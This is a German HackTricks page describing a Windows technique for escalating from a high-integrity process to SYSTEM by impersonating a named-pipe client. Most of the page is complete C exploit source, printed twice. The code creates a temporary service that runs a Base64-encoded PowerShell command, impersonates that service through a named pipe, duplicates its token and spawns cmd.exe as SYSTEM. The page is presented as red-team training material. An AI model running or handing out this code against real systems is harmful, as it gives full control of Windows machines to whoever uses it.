From High Integrity to SYSTEM with Name Pipes

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Überprüfen Sie die Abonnementpläne!
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Codefluss:

Erstellen Sie eine neue Pipe
Erstellen und starten Sie einen Dienst, der sich mit der erstellten Pipe verbindet und etwas schreibt. Der Dienstcode führt diesen codierten PS-Code aus: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
Der Dienst empfängt die Daten vom Client in der Pipe, ruft ImpersonateNamedPipeClient auf und wartet, bis der Dienst abgeschlossen ist
Schließlich verwendet er das Token, das vom Dienst erhalten wurde, um ein neues cmd.exe zu starten

Wenn Sie nicht genügend Berechtigungen haben, kann der Exploit stecken bleiben und niemals zurückkehren.

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager;
SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) {
return FALSE;
}

// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}

// launch it
StartService(scService, 0, NULL);

// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);

CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}

int main() {

LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;

HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}

// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}

// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}

//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}

// revert back to original security context
RevertToSelf();

}

return 0;
}

Unterstütze HackTricks

Überprüfe die Abonnementpläne!
Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

PreviousDPAPI - Extracting Passwords NextIntegrity Levels

Last updated 7 days ago

#include <windows.h> #include <time.h> #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") #define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512 int ServiceGo(void) { SC_HANDLE scManager; SC_HANDLE scService; scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (scManager == NULL) { return FALSE; } // create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL); if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; } // launch it StartService(scService, 0, NULL); // wait a bit and then cleanup Sleep(10000); DeleteService(scService); CloseServiceHandle(scService); CloseServiceHandle(scManager); } int main() { LPCSTR sPipeName = "\\\\.\\pipe\\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0; HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi; // open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); // create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0); // wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL); // impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; } // wait for the service to cleanup WaitForSingleObject(th, INFINITE); // get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; } // create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; } //Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; } // revert back to original security context RevertToSelf(); } return 0; }